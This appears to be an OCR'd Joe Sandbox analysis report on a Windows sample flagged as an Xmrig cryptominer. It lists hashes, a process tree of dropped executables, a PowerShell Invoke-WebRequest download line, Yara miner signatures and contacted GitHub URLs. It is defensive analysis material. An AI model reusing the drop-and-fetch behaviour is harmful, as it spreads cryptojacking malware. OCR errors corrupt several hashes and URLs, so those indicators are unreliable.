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Windows Analysis Report

t9Ttul0Qal
Overview
General Information Detection Signatures
Sample t9TtulOQal (renamed file
Name: extension from none to MALICI Multi AV Scanner detection for subm...
exe) i
Yara detected Xmrig cryptocurrency...
Analysis ID: 612095
. Malicious sample detected (through...
MDs: 0106f60704d601...
. Antivirus / Scanner detection for sub...
SHAL: 3bdec122251clc..
SHA256: cf22ef8f6ac6d20 Antivirus detection for dropped file
Tags: exe Found strings related to Crypto-Mini...
Infos: n Q ‘f il &‘ D Contains functionality to registers a ...

o Machine Learning detection for sam...
Xmrig

Machine Learning detection for drop...

Score: 100

Range: 0- 100 Drops executables to the windows d...
Whitelisted: false Queries the volume information (nam...
Confidence: 100%

Yara signature match

Process Tree

= System is w10x64
e [E1 t9TtulOQal.exe (PID: 4532 cmdline: "C:\Users\user\Desktop\t9TtulOQal.exe" MD5: 0106F60704D6018B9B6BD639EEFCIAOF)
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= cleanup

conhost.exe (PID: 3656 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

Classification

powershell.exe (PID: 5608 cmdline: powershell.exe -command “Invoke-WebRequest “https://raw.githubusercontent.com/* * MD5: 95000560239032BC68B4C2FDFCDEF913)

uyinQiQ.exe (PID: 4216 cmdline: C:\Windows\System\uyinQiQ.exe MD5: 51888D0997DBE9B5404FDD57F43CF8AL)
EqjbEoF.exe (PID: 4900 cmdline: C:\Windows\System\EgjbEoF.exe MD5: E4AC525E4D7678759C6262DCE99CED5BB)
xfTIPLt.exe (PID: 4940 cmdline: C:\Windows\System\xfTIPLt.exe MD5: D4D6D4E36344ACOD5A1AC8A710C0D968)
SphOrRR.exe (PID: 3580 cmdline: C:\Windows\System\SphOrRR.exe MD5: 3DB3E6D10A53ECDEC011154DF46BAB12)
pFPFzsF.exe (PID: 3032 cmdline: C:\Windows\System\pFPFzsF.exe MD5: 879D0799C209E833D9DAGE9A1B553224)
gNIhNvn.exe (PID: 6148 cmdline: C:\Windows\System\gqNIhNvn.exe MD5: ESE034BD6F4C4A9B245431DBE7AD3300)
wzZdyFs.exe (PID: 6164 cmdline: C:\Windows\System\wzZdyFs.exe MD5: CA56816E251EC802112E6B3B57A656F1)
jNieygN.exe (PID: 6188 cmdline: C:\Windows\System\jNieygN.exe MD5: 1C9B940B72C1C12E3E60B7E453298C36)
ESsAvrN.exe (PID: 6992 cmdline: C:\Windows\System\ESsAvrN.exe MD5: 03D51AD0A516621688EA8385E0F93C7A)
elCKJjV.exe (PID: 1908 cmdline: C:\Windows\System\eICKJjV.exe MD5: 05823C971251BA000BDBOB08FAFA9464)
muxflLeg.exe (PID: 3548 cmdline: C:\Windows\System\muxfLeg.exe MD5: 5712B4F1400DCC6057CD429CFEBE5938)
JXaKkbf.exe (PID: 3388 cmdline: C:\Windows\System\JXaKkbf.exe MD5: 879BAC639AC5A7122882210123336F5B)
ZQlhpPj.exe (PID: 6044 cmdline: C:\Windows\System\ZQlhpPj.exe MD5: ASFCE1AF9D902A9D45599D7DCADBBFOF)
NvBIBmE.exe (PID: 160 cmdline: C:\Windows\System\NvBIBmE.exe MD5: EDA619AFECOF1ABBAD3D06E576CCE6ESE)
emWQJVL.exe (PID: 2092 cmdline: C:\Windows\System\emWQJVL.exe MD5: 7A5B5DACB63BAF07CA803C28FB7835A1)
stDgizl.exe (PID: 2320 cmdline: C:\Windows\System\stDgizl.exe MD5: B8F601AAAE3AOFBF379F3A850450F108)
KMucPon.exe (PID: 2976 cmdline: C:\Windows\System\KMucPon.exe MD5: 1683FEE09D4362452FA45D56C6013ECF)
WmJzbhD.exe (PID: 488 cmdline: C:\Windows\System\WmJzbhD.exe MD5: C8632B8B1B34224565D02021B241AE58)
iDVoGZo.exe (PID: 3556 cmdline: C:\Windows\System\iDVoGZo.exe MD5: 292147797A3B144ECED6CB5F10B59C31)
zUtbfaW.exe (PID: 1212 cmdline: C:\Windows\System\zUtbfaW.exe MD5: 1E74AB412F8B9563FE6B945ACOE1F752)
LIHIifL.exe (PID: 3876 cmdline: C:\Windows\System\LIHIifL.exe MD5: CD7F8A54EB16AB260C58E5DF4BA1ED80)
GVCGjmH.exe (PID: 1896 cmdline: C:\Windows\System\GVCGjmH.exe MD5: EF7957E59F4EE1591FDC0497D15D826B)
oywlyRw.exe (PID: 5848 cmdline: C:\Windows\System\oywlyRw.exe MD5: 31E3F1CC724128271B1A023A082EDOA?2)
gMOVsdQ.exe (PID: 5444 cmdline: C:\Windows\System\gMOVsdQ.exe MD5: 67F99805BF74FC597933ED92AD52B8BD)
bcWhMHX.exe (PID: 1792 cmdline: C:\Windows\System\bcWhMHX.exe MD5: 8DB10044E89C5EBE8F459538A12FD20F)
VDhYVpi.exe (PID: 3420 cmdline: C:\Windows\System\VDhYVpi.exe MD5: 97326B836C91847527C813191C882DCB)
SMixvgz.exe (PID: 2308 cmdline: C:\Windows\System\SMIxvgz.exe MD5: B822044F286309DFEB34038B5DAB7028)
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Malware Configuration

@ No configs have been found

Yara Signatures

Memory Dumps

Source

00000003.00000002.265827699.00007FF620051000.00000
040.00000001.01000000.00000004.sdmp

00000003.00000002.265827699.00007FF620051000.00000
040.00000001.01000000.00000004.sdmp

00000007.00000002.275903963.00007FF670C91000.00000
040.00000001.01000000.00000008.sdmp

00000007.00000002.275903963.00007FF670C91000.00000
040.00000001.01000000.00000008.sdmp

00000004.00000002.268803687.00007FF77BDE1000.00000
040.00000001.01000000.00000005.sdmp

Unpacked PEs

Source

13.2.ESsAvrN.exe.7ff7655e0000.0.unpack

13.2.ESsAvrN.exe.7ff7655e0000.0.unpack

5.2 xfTIPLt.exe.7ff769430000.0.unpack

5.2 xfTIPLt.exe.7ff769430000.0.unpack

4.2.EqjbEoF.exe.7ff77bde0000.0.unpack

Sigma Signatures

Rule

CoinMiner_Strings

JoeSecurity_Xmrig

CoinMiner_Strings

JoeSecurity_Xmrig

CoinMiner_Strings

Description Author

Detects mining Florian Roth
pool protocol string

in Executable

Yara detected
Xmrig
cryptocurrency
miner

Joe Security

Detects mining Florian Roth
pool protocol string

in Executable

Yara detected
Xmrig
cryptocurrency
miner

Joe Security

Detects mining Florian Roth
pool protocol string

in Executable

Click to see the 73 entries

Rule

MAL_XMR_Miner_
May19_1

JoeSecurity_Xmrig

MAL_XMR_Miner_
May19_1

JoeSecurity_Xmrig

MAL_XMR_Miner_
May19_1

Description Author

Detects Monero Florian Roth

Crypto Coin Miner

Yara detected
Xmrig
cryptocurrency
miner

Joe Security

Detects Monero Florian Roth

Crypto Coin Miner

Yara detected
Xmrig
cryptocurrency
miner

Joe Security

Detects Monero Florian Roth

Crypto Coin Miner

Click to see the 19 entries

There are no malicious signatures, click here to show all signatures

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

Copyright Joe Security LLC 2022

Strings

e 0x12c218:$sal: stratum-+tcp://

e 0x12c218:$sal: stratum-+tcp://

e 0x12c218:$sal: stratum+tcp:/

Strings

e 0x12e591:$x2: * COMMANDS
r' resume

e 0x12e591:$x2: * COMMANDS
r' resume

e 0x12e591:$x2: * COMMANDS
r' resume

'h* hashrate, 'p' pause, '

'h* hashrate, 'p' pause, '

'h* hashrate, 'p' pause, '

Page 6 of 342



AV Detection

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Machine Learning detection for sample

Machine Learning detection for dropped file

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Found strings related to Crypto-Mining

Contains functionality to registers a callback to get notified when the system is suspended or resumed (often done by Miners)

System Summary

Malicious sample detected (through community Yara rule)
Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Mitre Att&ck Matrix

- - . Command Remote
Initial . . Privilege Defense Credential . Lateral . . . Network .
Access Execution Persistence Escalation | Evasion Access Discovery Movement Collection Exfiltration and Effects Service Impact
Control Effects
Valid Path 0s Remote Exfiltration Eavesdrop Remotely  Modify
Accounts Command Interceptio  Process Masqueradi Credential  Query Services Archive Over Other Encrypted  on Insecure Track System
and n Injection ng Dumping Registry Collected Network Channel Network Device Partition
Scripting Data Medium Communic ~ Without
Interpreter ation Authorizati
on
Default Boot or Boot or LSASS Remote Data from  Exfiltration Exploit SS7 Remotely  Device
Accounts Native APl Logon Logon Virtualizatio Memory Security Desktop Removable Over Non- to Redirect Wipe Data  Lockout
Initializatio  Initializatio  n/Sandbox Software Protocol Media Bluetooth Standard Phone Without
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0 Type here to search it =4

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

t9TtulOQal.exe
t9TtulOQal.exe

t9TtulOQal.exe

t9TtulOQal.exe

Dropped Files

Source

C:\Windows\System\DGHKyFn.exe
C:\Windows\System\BUaaHVm.exe
C:\Windows\System\BgzddBq.exe
C:\Windows\System\ESsAvrN.exe
C:\Windows\System\DNPJrAp.exe

C:\Windows\System\DngcwtK.exe
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https://www.virustotal.com/gui/file/cf22ef8f6ac6d20fe2a863930cee6fac249deb610f378e5e6c77f177a6ea3dce/detection/f-cf22ef8f6ac6d20fe2a863930cee6fac249deb610f378e5e6c77f177a6ea3dce-1608561402

Source Detection Scanner Label Link

C:\Windows\System\DGHKyFn.exe 100% Joe Sandbox ML
C:\Windows\System\BUaaHVm.exe 100% Joe Sandbox ML
C:\Windows\System\BgzddBg.exe 100% Joe Sandbox ML
C:\Windows\System\ESsAvrN.exe 100% Joe Sandbox ML
C:\Windows\System\DNPJrAp.exe 100% Joe Sandbox ML
C:\Windows\System\DngcwtK.exe 100% Joe Sandbox ML

Unpacked PE Files

Source Detection Scanner Label Link Download

24.0.eICKJjV.exe.7ff726c50000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

9.0.wzZdyFs.exe.7ff7b05a0000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

7.0.pFPFzsF.exe.7ff670c90000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

3.0.uyinQiQ.exe.7ff620050000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

5.0.xfTIPLt.exe.7ff769430000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

6.0.SphOrRR.exe.7ff7d85e0000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

26.0.JXaKkbf.exe.7ff6d4dc0000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

13.0.ESsAvrN.exe.7ff7655e0000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

25.0.muxflLeg.exe.7ff7a45c0000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

4.0.EqjbEoF.exe.7ff77bde0000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

10.0.jNieyqN.exe.7ff7721a0000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

0.0.t9TtulOQal.exe.7ff79b990000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

8.0.gNIhNvn.exe.7ff624290000.0.unpack 100% Avira HEUR/AGEN.12 Download File
30753

Domains

@ No Antivirus matches

URLs

Source Detection Scanner Label Link
http://https://github.githubassets.com/assets/3198-f068837ff3a6.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/2486-d89868d3ch25.js 1% Virustotal Browse
http://https://github.githubassets.com/assets/2486-d89868d3ch25.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/github-elements-29d8293f1694.js 1% Virustotal Browse
http:i/https://github.githubassets.com/assets/github-elements-29d8293f1694.js 0% Avira URL Cloud safe
http:{/fhttps://github.githubassets.com/images/modules/site/icons/footer/github-logo.svg 1% Virustotal Browse
http:i/https://github.githubassets.com/images/modules/site/icons/footer/github-logo.svg 0% Avira URL Cloud safe
http:ifhttps://github.githubassets.com/assets/8646-b11421a6chd6.js 0% Avira URL Cloud safe
http:ifhttps://avatars.githubusercontent.com/nplasterer?s=64&v=4 0% Avira URL Cloud safe
http:fhttps://github.githubassets.com/images/modules/site/home/matrix-workflow-test-tab.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/3706-a9e5e1421754.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/5724-640299416084.js 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/jasonetco?s=64&v=4 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/nome/logos/platform-google.svg 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/rust-lang?s=64&v=4 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/joshaber?s=64&v=4 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/codeq|-step-2.png 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/sophshep?s=64&v=4 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/logos/platform-windows.svg 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/apple?s=64&v=4 0% Avira URL Cloud safe
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https://www.virustotal.com/gui/url/9a428e62355e0f0994c3b5c7a29beff4cfccc1755670a3995c32a02095e546e0/detection/u-9a428e62355e0f0994c3b5c7a29beff4cfccc1755670a3995c32a02095e546e0-1650116752
https://www.virustotal.com/gui/url/f2c46c66f455cbe1a257b3e6b95b81e13897791c1da8ef97143702edaecedfc6/detection/u-f2c46c66f455cbe1a257b3e6b95b81e13897791c1da8ef97143702edaecedfc6-1650116751
https://www.virustotal.com/gui/url/aecdd5522587852b6d5dce8ff829bce4ba4222f8038eb27c53b3589ed4da657c/detection/u-aecdd5522587852b6d5dce8ff829bce4ba4222f8038eb27c53b3589ed4da657c-1628285519

Source Detection Scanner Label Link

http://https://github.githubassets.com/images/modules/site/nome/actions-autocomplete.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/nome/actions-editor.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/hnome/community-sponsor-1.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/93-8fdb428884fb.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/pr-comment.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/footer-illustration.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/icons/folder.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/pr-description.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/behaviors-76de0719b85a.css 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/pmarsceill?s=64&v=4 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/icons/heart.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/5222-6b85a0658795.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/5388-1dbfldebd575.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/nome/hero-glow.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/nome/pr-merge.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/element-registry-d86468692d21.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/dark-d4a90c367f0c.css 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/icons/file.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/globe.jpg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/nome/secret-list.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/1717-85e1b724cal0.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/enterprise-city-w-logos.jpg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/matrix-workflow-publish-tab.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/discussions-answered-check.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/icons/footer/twitter.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/repo-terminal-glow.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/codespaces-glow.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/marketing-9af736bab4dd.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/logos/platform-apple.svg 0% Avira URL Cloud safe
http://https://raw.githubusercontent.com/ 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/ohmyzsh?s=64&v=4 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/codespaces-vscode-3.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/icons/footer/facebook.svg 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/ansible?s=64&v=4 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/home-b03d01c8df61.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/icons/footer/linkedin.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/codeq|-step-3.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/pr-screen.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/3682-e91f7f4f1ce8.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/3826-6af63b920599.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/icons/footer/youtube.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/home-e461cf7ec7b7.css 0% Avira URL Cloud safe
http:ifhttps://github.githubassets.com/images/modules/site/home/community-readme-2.png 0% Avira URL Cloud safe
http:{fhttps://github.githubassets.com/assets/behaviors-b1bd0e37a9b4.js 0% Avira URL Cloud safe
http:ifhttps://avatars.githubusercontent.com/flutter?s=64&v=4 0% Avira URL Cloud safe
http:{fhttps://github.githubassets.com/images/modules/site/home/community-readme-1.png 0% Avira URL Cloud safe
http:/https://github.githubassets.com/assets/notifications-global-28a2c6fal139.js 0% Avira URL Cloud safe
http:{fhttps://github.githubassets.com/images/modules/site/home/security-alert-fan.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/5329-98db7da29ab9.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/secret-alert.png 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/kubernetes?s=64&v=4 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/nome/logos/platform-arm.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/codeq|-step-1.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/nome/repo-browser.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/light-92¢7d381038e.css 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/nome/logos/platform-linux.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/nome/codespaces-vscode-1.png 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/ampinsk?s=64&v=4 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/matrix-workflow-publish.png 0% Avira URL Cloud safe
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Source Detection Scanner Label Link

http://https://github.githubassets.com/assets/3932-24b9e74cf858.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/gh-desktop.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/hnome/discussions-check.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/icons/footer/github-mark.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/nome/community-discussions-1.png 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/hashicorp?s=64&v=4 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/matrix-workflow-test.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/github-5661da47685a.css 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/community-sponsor-2.png 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/environment-bec046a69997.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/matrix-workflow-success.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/frameworks-6903f4471853.css 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/runtime-51fc180fd3a8.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/astro-mona.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/matrix-workflow-build.png 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/gatsbyjs?s=64&v=4 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/nome/codeq|-description.png 0% Avira URL Cloud safe
http://https://avatars.githubusercontent.com/npm?s=64&v=4 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/iphone-notch.svg 0% Avira URL Cloud safe
http://https://github.githubassets.com/assets/8932-24f1e0ea55c2.js 0% Avira URL Cloud safe
http://https://github.githubassets.com/images/modules/site/home/actions-spinner.svg 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name IP Active Malicious Antivirus Detection Reputation
avatars.githubusercontent.com 185.199.108.133 true false high
github.com 140.82.121.3 true false high
raw.githubusercontent.com 185.199.111.133 true false high
github.githubassets.com 185.199.108.154 true false high

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://https://github.githubassets.com/assets/3198-f068837ff3a6.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/2486-d89868d3ch25.js false e 1%, Virustotal, Browse unknown
e Avira URL Cloud: safe
http://https://github.githubassets.com/assets/github-elements-29d8293f1694.js false e 1%, Virustotal, Browse unknown
e Avira URL Cloud: safe
http://https://github.githubassets.com/images/modules/site/icons/footer/github-logo.svg false e 1%, Virustotal, Browse unknown
e Avira URL Cloud: safe
http:/https://github.githubassets.com/assets/8646-b11421a6chd6.js false e Avira URL Cloud: safe unknown
http:{/https://avatars.githubusercontent.com/nplasterer?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/matrix-workflow-test-tab.png false e Avira URL Cloud: safe unknown
http:ifhttps://github.githubassets.com/assets/3706-a9e5e1421754.js false e Avira URL Cloud: safe unknown
http:ifhttps://github.githubassets.com/assets/5724-640299416084.js false e Avira URL Cloud: safe unknown
http:ifhttps://avatars.githubusercontent.com/jasonetco?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/logos/platform-google.svg false e Avira URL Cloud: safe unknown
http://https://avatars.githubusercontent.com/rust-lang?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://avatars.githubusercontent.com/joshaber?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/codeq|-step-2.png false e Avira URL Cloud: safe unknown
http://https://avatars.githubusercontent.com/sophshep?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/logos/platform-windows.svg false e Avira URL Cloud: safe unknown
http://https://avatars.githubusercontent.com/apple?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/actions-autocomplete.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/actions-editor.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/community-sponsor-1.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/93-8fdb428884fb.js false e Avira URL Cloud: safe unknown
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https://www.virustotal.com/gui/url/9a428e62355e0f0994c3b5c7a29beff4cfccc1755670a3995c32a02095e546e0/detection/u-9a428e62355e0f0994c3b5c7a29beff4cfccc1755670a3995c32a02095e546e0-1650116752
https://www.virustotal.com/gui/url/f2c46c66f455cbe1a257b3e6b95b81e13897791c1da8ef97143702edaecedfc6/detection/u-f2c46c66f455cbe1a257b3e6b95b81e13897791c1da8ef97143702edaecedfc6-1650116751
https://www.virustotal.com/gui/url/aecdd5522587852b6d5dce8ff829bce4ba4222f8038eb27c53b3589ed4da657c/detection/u-aecdd5522587852b6d5dce8ff829bce4ba4222f8038eb27c53b3589ed4da657c-1628285519

Name Malicious Antivirus Detection Reputation

http://https://github.githubassets.com/images/modules/site/home/pr-comment.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/footer-illustration.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/icons/folder.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/pr-description.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/behaviors-76de0719b85a.css false e Avira URL Cloud: safe unknown
http://https://avatars.githubusercontent.com/pmarsceill?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/icons/heart.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/5222-6b85a0658795.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/5388-1dbfldebd575.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/hero-glow.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/pr-merge.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/element-registry-d86468692d21.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/dark-d4a90c367f0c.css false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/icons/file.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/globe.jpg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/secret-list.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/1717-85e1b724cal0.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/enterprise-city-w-logos.jpg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/matrix-workflow-publish-tab.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/discussions-answered-check.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/icons/footer/twitter.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/repo-terminal-glow.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/codespaces-glow.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/marketing-9af736bab4dd.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/logos/platform-apple.svg false e Avira URL Cloud: safe unknown
http://https://raw.githubusercontent.com/ false e Avira URL Cloud: safe unknown
http://https://avatars.githubusercontent.com/ohmyzsh?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/codespaces-vscode-3.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/icons/footer/facebook.svg false e Avira URL Cloud: safe unknown
http://https://avatars.githubusercontent.com/ansible?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/home-b03d01c8df61.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/icons/footer/linkedin.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/codeq|-step-3.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/pr-screen.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/3682-e91f7f4f1ce8.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/3826-6af63b920599.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/icons/footer/youtube.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/home-e461cf7ec7b7.css false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/community-readme-2.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/behaviors-b1bd0e37a9b4.js false e Avira URL Cloud: safe unknown
http://https://avatars.githubusercontent.com/flutter?s=64&v=4 false e Avira URL Cloud: safe unknown
http:i/https://github.githubassets.com/images/modules/site/home/community-readme-1.png false e Avira URL Cloud: safe unknown
http:{/https://github.githubassets.com/assets/notifications-global-28a2c6fal139.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/security-alert-fan.svg false e Avira URL Cloud: safe unknown
http:ifhttps://github.githubassets.com/assets/5329-98db7da29ab9.js false e Avira URL Cloud: safe unknown
http:i/https://github.githubassets.com/images/modules/site/nome/secret-alert.png false e Avira URL Cloud: safe unknown
http:/fhttps://avatars.githubusercontent.com/kubernetes?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/logos/platform-arm.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/codeq|-step-1.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/repo-browser.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/light-92¢7d381038e.css false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/logos/platform-linux.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/codespaces-vscode-1.png false e Avira URL Cloud: safe unknown
http://https://avatars.githubusercontent.com/ampinsk?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/matrix-workflow-publish.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/3932-24b9e74cf858.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/gh-desktop.png false e Avira URL Cloud: safe unknown
http://https://github.com/ false high
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Name Malicious Antivirus Detection Reputation

http://https://github.githubassets.com/images/modules/site/home/discussions-check.svg false e Avira URL Cloud: safe unknown
